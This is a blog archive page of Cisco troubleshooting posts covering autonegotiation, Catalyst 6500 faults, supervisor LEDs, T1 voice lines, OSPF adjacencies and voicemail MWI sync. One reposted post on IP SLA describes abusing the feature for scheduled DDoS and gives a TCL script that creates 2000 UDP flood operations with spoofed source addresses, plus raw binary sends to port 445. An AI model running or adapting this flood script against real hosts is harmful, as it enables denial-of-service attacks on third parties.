Pete's Packet

Limitless

Archive for the ‘Troubleshooting’ Category

Cisco Catalyst 6000 Series Switches Troubleshooting Hardware and Common Issues on Catalyst 6500/6000 Series Switches Running Cisco IOS System Software

Posted by Peter Kurdziel on February 19, 2010

http://www.cisco.com/en/US/products/hw/switches/ps700/products_tech_note09186a00801751d7.shtml

Posted in Troubleshooting | Leave a Comment »

Autonegotiation Valid Configuration

Posted by Peter Kurdziel on January 17, 2010

There is a lot of confusion about auto negotiation. Here is a chart that will help bring things into perspective.

Autonegotiation Valid Configuration



Configuration NIC (Speed/Duplex)

Configuration Switch (Speed/Duplex)

Resulting NIC Speed/Duplex

Resulting Catalyst Speed/Duplex

Comments

AUTO

AUTO

1000 Mbps, Full-duplex

1000 Mbps, Full-duplex

Assuming maximum capability of Catalyst switch, and NIC is 1000
Mbps, full-duplex.

1000 Mbps, Full-duplex

AUTO

1000 Mbps, Full-duplex

1000 Mbps, Full-duplex

Link is established, but the switch does not see any
autonegotiation information from NIC. Since Catalyst switches support only
full-duplex operation with 1000 Mbps, they default to full-duplex, and this
happens only when operating at 1000 Mbps.

AUTO

1000 Mbps, Full-duplex

1000 Mbps, Full-duplex

1000 Mbps, Full-duplex

Assuming maximum capability of NIC is 1000 Mbps,
full-duplex.

1000 Mbps, Full-duplex

1000 Mbps, Full-duplex

1000 Mbps, Full-duplex

1000 Mbps, Full-duplex

Correct Manual Configuration

100 Mbps, Full-duplex

1000 Mbps, Full-duplex

No Link

No Link

Neither side establishes link, due to speed
mismatch

100 Mbps, Full-duplex

AUTO

100 Mbps, Full-duplex

100 Mbps, Half-duplex

Duplex Mismatch
1

AUTO

100 Mbps, Full-duplex

100 Mbps, Half-duplex

100 Mbps, Full-duplex

Duplex Mismatch
1

100 Mbps, Full-duplex

100 Mbps, Full-duplex

100 Mbps, Full-duplex

100 Mbps, Full-duplex

Correct Manual
Configuration2

100 Mbps, Half-duplex

AUTO

100 Mbps, Half-duplex

100 Mbps, Half-duplex

Link is established, but switch does not see any
autonegotiation information from NIC and defaults to half-duplex when operating
at 10/100 Mbps.

10 Mbps, Half-duplex

AUTO

10 Mbps, Half-duplex

10 Mbps, Half-duplex

Link is established, but switch does not see Fast Link Pulse
(FLP) and defaults to 10 Mbps half-duplex.

10 Mbps, Half-duplex

100 Mbps, Half-duplex

No Link

No Link

Neither side establishes link, due to speed
mismatch.

AUTO

100 Mbps, Half-duplex

100 Mbps, Half-duplex

100 Mbps, Half-duplex

Link is established, but NIC does not see any autonegotiation
information and defaults to 100 Mbps, half-duplex.

AUTO

10 Mbps, Half-duplex

10 Mbps, Half-duplex

10 Mbps, Half-duplex

Link is established, but NIC does not see FLP and defaults to
10 Mbps, half-duplex.

Posted in Best practices, CATALYST, Real World, Troubleshooting | 1 Comment »

Troubleshooting the Catalyst 6500

Posted by Peter Kurdziel on January 12, 2010

Troubleshooting Hardware and Common Issues on Catalyst 6500/6000 Series Switches Running Cisco IOS System Software


Troubleshoot Error Messages in the Syslog or Console



The show diagnostic sanity Command



Supervisor Engine or Module Problems


     
Supervisor Engine LED in Red/Amber or Status Indicates faulty

     
Switch Is in Continuous Booting Loop, in ROMmon mode, or Missing the System Image

     
Standby Supervisor Engine Module Is Not On Line or Status Indicates unknown

     
Show Module Output Gives “not applicable” for SPA Module

     
Standby Supervisor Engine Reloads Unexpectedly

     
Even After You Remove the Modules, the show run Command Still Shows Information About the Removed Module Interfaces

     
Switch Has Reset/Rebooted on Its Own

     
DFC-Equipped Module Has Reset on Its Own

     
Troubleshoot a Module That Does Not Come On Line or Indicates faulty or other Status

     
Inband Communication Failure

     
Error “System returned to ROM by power-on (SP by abort)”

     
Error: NVRAM: nv->magic != NVMAGIC, invalid nvram

     
Error: Switching Bus FIFO counter stuck

     
SYSTEM INIT: INSUFFICIENT MEMORY TO BOOT THE IMAGE!


Troubleshoot CatOS to Cisco IOS Software or Cisco IOS Software to CatOS Conversion


     
Problem when User Attempts to Access the NVRAM After Cisco IOS to CatOS Conversion

     
Unable to Boot with Cisco IOS Software when User Converts from CatOS to Cisco IOS


Interface/Module Connectivity Problems


     
Connectivity Problem or Packet Loss with WS-X6548-GE-TX and WS-X6148-GE-TX Modules used in a Server Farm

     
Workstation Is Unable to Log In to Network During Startup/Unable to Obtain DHCP Address

     
Troubleshoot NIC Compatibility Issues

     
Interface Is in errdisable Status

     
Troubleshoot Interface Errors

     
You Receive %PM_SCP-SP-3-GBIC_BAD: GBIC integrity check on port x failed: bad key Error Messages

     
You Get COIL Error Messages on WS-X6x48 Module Interfaces

     
Troubleshoot WS-X6x48 Module Connectivity Problems

     
Troubleshoot STP Issues

     
Unable to Use Telnet Command to Connect to Switch

     
Giant Packet Counters on VSL Interfaces


Power Supply and Fan Problems


     
Power Supply INPUT OK LED Does Not Light Up

     
Troubleshoot
C6KPWR-4-POWRDENIED: insufficient power, module in slot [dec] power
denied or %C6KPWR-SP-4-POWRDENIED: insufficient power, module in slot
[dec] power denied Error Messages


     
FAN LED Is Red or Shows failed in the show environment status Command Output

     
“Diagnostic level complete” causes a crash on 6500


Cisco Support Community – Featured Conversations



Related Information

Catalyst 6500/6000 Switches ARP or CAM Table Issues Troubleshooting


Troubleshoot ARP or CAM Related Issues


     
Loss of Dynamic MAC Addresses with Distributed Switching

     
CEF Drops Packets at Regular Intervals

     
Switch Filter All-Zero MAC Addresses from the CAM Table

     
Unicast Flooding in the Network Every 5 Minutes

     
ARP Issues in Hybrid CatOS

     
Error EARL-2-EARL4LOOKUPRAMERROR During the CAM Table Lookup

     
Static CAM Entries Lost After Supervisor Switchover

     
%ACL-5-TCAMFULL: acl engine TCAM table is full

     
Ping Issues Occur when the MSFC Does Not Respond to the ARP Request in Catalyst 6500 Series Switches

     
Multiple Entries in MAC Address Table

     
Virtual IP Address Used by Microsoft Load Balancing is Not Reachable


Troubleshooting Input Queue Drops and Output Queue Drops


Processing and Switching



Input Queue Drops


     
Troubleshoot Input Queue Drops


Output Queue Drops


     
Troubleshoot Output Queue Drops


Commands to Obtain More Information


     
show interfaces switching

     
show interfaces stats

     
ip accounting mac-address

     
show interfaces mac-accounting

More info here: http://www.cisco.com/en/US/products/hw/switches/ps708/prod_tech_notes_list.html

Posted in CATALYST, Real World, Troubleshooting | Leave a Comment »

Supervisor Engine 720 Front Panel Status LEDs

Posted by Peter Kurdziel on December 9, 2009


Table 2-16 Supervisor Engine 720 Front Panel Status LEDs

http://www.cisco.com/en/US/docs/switches/lan/catalyst6500/hardware/Module_Installation/Sup_Eng_Guide/02superv.html#wp1081940

LED
Color and Meaning

STATUS

The STATUS LED indicates the status of the supervisor engine.

Green—All diagnostics pass. The supervisor engine is operational (normal initialization sequence).

Orange—The supervisor engine is booting or running diagnostics (normal initialization sequence) or an overtemperature condition has occurred. (A minor temperature threshold has been exceeded during environmental monitoring.)

Red—The diagnostic test failed. The supervisor engine is not operational because a fault occurred during the initialization sequence or an overtemperature condition has occurred. (A major temperature threshold has been exceeded during environmental monitoring.)

SYSTEM

The SYSTEM LED indicates the status of the system components.

Green—All chassis environmental monitors are reporting OK.

Orange—A minor hardware problem has been detected.

Red—A major hardware problem has occurred

ACTIVE

The ACTIVE LED indicates whether the supervisor engine is operating in active mode or is in standby mode.

Green—The supervisor engine is operational and active.

Orange—The supervisor engine is in standby mode.

PWR MGMT

The supervisor engine monitors each module’s power requirements and status relative to the system’s overall power capacity before fully powering up each module in the chassis.

Orange—Power-up mode; running self-diagnostics.

Green—Power management is functioning normally and sufficient power is available for all modules.

Orange—A minor power management problem has been detected. There is insufficient power for all modules to power up.

Red—A major power failure has occurred.

DISK 0 and DISK 1 LEDs

These LEDs are illuminated green when the installed Flash PC card is being accessed and is performing either a read operation or a write operation.

Posted in CATALYST, Troubleshooting | 1 Comment »

Configuring and Troubleshooting Ethernet 10/100/1000Mb Half/Full Duplex Auto-Negotiation

Posted by Peter Kurdziel on November 14, 2009

This is a subject that still confuses many people.  It is best that you hard code your ports.

More info here:
http://www.cisco.com/en/US/partner/tech/tk389/tk214/technologies_tech_note09186a0080094781.shtml

Posted in Best practices, Real World, Troubleshooting | 3 Comments »

Layer 1 Voice T1 Troubleshooting

Posted by Peter Kurdziel on October 27, 2009

Layer 1 Voice T1 Troubleshooting

Common problems

Misconfiguration at one end
Switch type must match
Channels must match
Clock must be opposite
Isdn protocol-emulate must be opposite
Dial  peers coordinated

Layer 1  – needs to match

·        Framing – ESF or SF (aka D4)
·        Line coding – B8ZS (use with ESF) or AMI (use with SF)
·        Cable length – Can induce attenuation if needed for short cables
·        Clocking – MUST be set correctly – one side provides to the other
·        Channels in use – Depends on protocol and call-control agent

Troubleshooting Commands for ISDN PRI

Show controller t1 x/y·
Show voice port summary·
Show isdn status (shows Layer 1 and Layer 2status)·
Show dialplan number {digits}·
Debug isdn q921·
Debug isdn q931 (most useful to see signaling)·
Debug voice ccapi inout

T1 CAS (Channel Associated Signaling)

Layer 1  – needs to match

·        Framing – ESF or SF (aka D4)
·        Line coding – B8ZS (use with ESF) or AMI (use with SF)
·        Cable length – Can induce attenuation if needed for short cables
·        Clocking – MUST be set correctly – one side provides to the other
·        Channels in use – Depends on protocol and call-control agent

Troubleshooting Commands for T1-CAS
Show controller t1 x/y
Show voice port summary
Show dialplan number {digits}
Debug vpm sig (to see cas signaling)
Debug voice dspapi (to see the digits at low level)
Debug voice ccapi inout

Ref: Cisco techtorial

Posted in Troubleshooting | Leave a Comment »

Cisco SLA Packet Samples – generate traffic

Posted by Peter Kurdziel on October 26, 2009

cisco ip sla attack

IP SLA
with the IP SLA function in the IOS, there is a other way to create packets to a specific port and target. Normaly used for
testing the availability of services and/or devices, but i think, there is a chance for abuse.
See some of my ideas.
- what, if we create 1000 SLA’s on the same router
- create a TCL script for creating the 1000 SLA’s
- create scheduled SLA’s for a DDoS on a defined time
- create random DNS or HTTP Querys

Cisco SLA Packet Samples

SLA Sample TCP Port
tcp connections to 192.168.1.1 port 99 every 1 second

	ip sla 1
	 tcp-connect 192.168.1.1 99 control disable
	 threshold 1 
	 timeout 1
	 frequency 1
	ip sla schedule 1 life 300 start-time now

SLA Sample UDP Port
udp connections to 192.168.1.1 port 100 from sourceip 1.2.3.4 and sourceport 12345 every 1 second

	ip sla 2<br />	 udp-echo 192.168.1.1 100 source-ip 1.2.3.4 source-port 12345 control disable<br />	 threshold 1	<br />	 timeout 1<br />	 frequency 1<br />	ip sla schedule 2 life 300 start-time now<br />

SLA Sample ICMP
tcp connections to 192.168.1.1 port 100 every 1 second

	ip sla 3<br />	 icmp-echo 192.168.1.1<br />	 threshold 1<br />	 timeout 1<br />	 frequency 1<br />	ip sla schedule 3 life 300 start-time now<br />

SLA Sample FTP
FTP to check, if a file is on a FTP server

	ip sla 11<br />	 ftp get ftp://user:password@host/file_name<br />	!<br />	ip sla schedule 11 start-time now<br /><br />

SLA Sample HTTP
HTTP connections to 192.168.1.1 port 100 every 1 second with file index.html
(Limit: Minimum frequency for HTTP should be 60sec )

	ip sla 4<br />	 http get http://192.168.2.100/index.html<br />	 threshold 1<br />	 timeout 1<br />	 frequency 60<br />	ip sla schedule 4 life 300 start-time now<br />

SLA Sample HTTP (RAW)
HTTP connections to 192.168.1.1 every 1 second with RAW Code
(Limit: Minimum frequency for HTTP should be 60sec )

	ip sla 5<br />	 http raw http://192.168.1.1<br />	 http-raw-request<br />	  GET /ch/index.html HTTP/1.0\r\n\r\n<br />	  exit<br />	 threshold 1<br />	 timeout 1<br />	 frequency 60<br />	ip sla schedule 5 life 300 start-time now<br />

SLA Sample DNS
DNS request www.laber.com every 9 second to dns server 192.168.1.1
Minimum frequency for DNS operation should be 9

	ip sla 6<br />	 dns www.laber.com name-server 192.168.1.1<br /> 	 timeout 1<br /> 	 threshold 1<br />  	 frequency 9<br />	ip sla schedule 10 life 300 start-time now<br />

Schedule the SLA

	<br />	ip sla schedule 1 start-time 10:00:00 life 300 recurring           <- every day at 10:00 for 300 seconds<br />	ip sla schedule 2 start-time now life forever                      <- start now and run forever<br />	ip sla schedule 3 start-time 10:00:00 1 Jan life 1000              <- start on 1.Jan for 1000 seconds<br />

play around with the options, Source-ip and source-port Lifetime, thershold etc..
and for testing with source-ip and source-port, the source-ip must NOT exist on a Loopback Interface.
For flooding it’s requierd, that you have to enter “control disable”. For HTTP or DNS Request, you can not
enable or diesale “control”, beacause, there is no “CISCO” Responder.

TCL script with SLA packet packets

Script Sample UDP
This TCL Script creats 2000 “ip sla” etntires in the config file, each
on creat every secoand a udp packet to the targen host 192.168.1.1 and
destination port 100 for 5 Minutes. (300 Seconds)
Warning: Use a lot of CPU Power, and depending on your hardware, 2000 is to mutch.

 <br />	puts "Creating UDP"<br />	set count 2000<br />	for {set X 1} {$X<$count} {incr X} {<br />	puts $X<br />	ios_config "ip sla $X" "udp-echo 192.168.1.1 100 control disable" "threshold 1" "timeout 1" "frequency 1"<br />	ios_config "ip sla schedule $X life 300 start-time now"<br />	}<br />

and for removing all entries

	puts "Deleting"<br />	set count 2000<br />	for {set X 1} {$X<$count} {incr X} {<br />	puts $X<br />	ios_config "no ip sla $X "<br />    	}<br />

New Sample with Sourceport and Source-IP

 <br />	puts "Creating UDP"<br />	set count 2000<br />	for {set X 1} {$X<$count} {incr X} {<br />	puts $X<br />	ios_config "ip sla $X" "udp-echo 192.168.1.1 100 source-ip 1.2.3.4 source-port 12345 control disable" "threshold 1" "timeout 1" "frequency 1"<br />	ios_config "ip sla schedule $X life 300 start-time now"<br />	}<br />

send binary data

with the http raw options it’s possible, to send TEXT and Binary Code.
to a selectable port (Source IPD and Port is changable to)
You can send 0×01 with the string \x01 in the http-raw-request.

 
Sample :
<font color="#000000" face="Verdana, Arial, Helvetica, sans-serif"> ip sla 1<br />  http raw http://laber.peanuts.ch:445<br />  http-raw-request<br />  \x01\x02\x03\x48\x41\x4C\x4C\x4F\xff    <br />  exit<br /> !<br /> ip sla schedule 1 start-time now<br /></font>

 

Known Problem
Currently, i found NO way, to send a “NULL” (0×00), arghh…

 
Known Limits
– max 1280 chars in the config file.
– max 252 chars per line
– \x23 for sendening #
– \x?? reduce tha max packet length.
 

strange things…

Some stranges things, maybe feautures or bugs?
1. it’s possible to set the TOS to 255, but in the DCSP Fields in the packets, i see only that the 6 DSCP bits ar set.

	evil-router(config-ip-sla-tcp)#tos ?<br />	  <0-255>  Type of Service Value<br />

2. Some problem with the order in the configfile and the dependency of timeout and threshold
If you configure timeout 1 and threshold 1, you must configure threshold before timeout, but, after
you see in the configuratin file following: timeout is before treshold.

	ip sla 4<br />	 tcp-connect 192.168.2.100 98 control disable<br />	 tos 1<br />	 timeout 1<br />	 threshold 1<br />	 frequency 1<br />	ip sla schedule 4 life 60 start-time now<br />

and after a restart you see following boot message:

	<br />	1 DSL controller<br />	9 FastEthernet interfaces<br />	1 ISDN Basic Rate interface<br />	62720K bytes of ATA CompactFlash (Read/Write)<br />	Installed image archive<br />	%Error: timeout value is less than threshold 5000<br />	%Illegal Value: Cannot set Frequency to be less than Timeout<br />	%Error: timeout value is less than threshold 5000<br />	%Illegal Value: Cannot set Frequency to be less than Timeout<br />	<br />	<br />		<br />	Press RETURN to get started!<br />	<br />

I see this on my cisco 1800 router

	evil-router#sh version<br />	Cisco IOS Software, C180X Software (C180X-ADVIPSERVICESK9-M), Version 12.4(22)T, RELEASE SOFTWARE (fc1)<br />	Technical Support: http://www.cisco.com/techsupport<br />

Update:(05.01.2009)
Tests with other routers and diffenet IOS versions shows me, that that must be a BUG on this version on my Cisco 1800 Router.

 
Cisco Dokumentation
 
threshold milliseconds
(Optional) Sets the upper threshold value for calculating network monitoring statistics created by an IP SLAs operation.
Example:
Router(config-sla-monitor-echo)# threshold 10000
 
timeout milliseconds
(Optional) Sets the amount of time an IP SLAs operation waits for a response from its request packet.
Example:
Router(config-sla-monitor-echo)# timeout 10000
 

Source:
http://www.packetlevel.ch/html/cisco/ciscoslahack.html

Posted in Troubleshooting | Leave a Comment »

Online web-based ping: remote ping a server or web site using our network with 38 checkpoints worldwide

Posted by Peter Kurdziel on October 24, 2009

http://just-ping.com

Posted in Troubleshooting | Leave a Comment »

%OSPF-5-ADJCHG 2WAY to DOWN, Neighbor Down: Dead timer expired

Posted by Peter Kurdziel on October 19, 2009

I am seeing the below error message on the OSPF router. What is causing this and what action should I take?
006805: May 13 21:14:11: %OSPF-5-ADJCHG: Process 65182, Nbr 172.16.1.252 on FastEthernet1 from 2WAY to DOWN, Neighbor
Down: Dead timer expired

you need to check few things:

  • both neighbors have the same hello and dead timers
  • both neighbors use the same subnet mask
  • both neighbors use the same authentication password (if it’s used)
  • make sure the MTU matches on both sides or add ip ospf mtu-ignore
  • debug ospf adj

Posted in OSPF, Q&A, Real World, Troubleshooting | Leave a Comment »

Whenever we do a CM upgrade, we will always have one phone that receives VM but no MWL. It is usually several days later when the user realizes it. It is always a different extension. What causes this and what can we do to prevent this problem?

Posted by Peter Kurdziel on October 19, 2009

Whenever we do a CM upgrade, we will always have one phone that receives VM but no MWL. It is usually several days later when the user realizes it. It is always a different extension. What causes this and what can we do to prevent this problem?

This is very common when doing any significant changes on CUCM (like an upgrade). The way we usually mitigate these type of issues is to run a MWI Re-sync after the changes are done (usually the last step).

In Unity Connection go to Telephony Integrations – Phone System – Click the Run Button for Synchronize All MWIs on This Phone System.

Posted in Q&A, Troubleshooting, VOIP | Leave a Comment »

 
Follow

Get every new post delivered to your Inbox.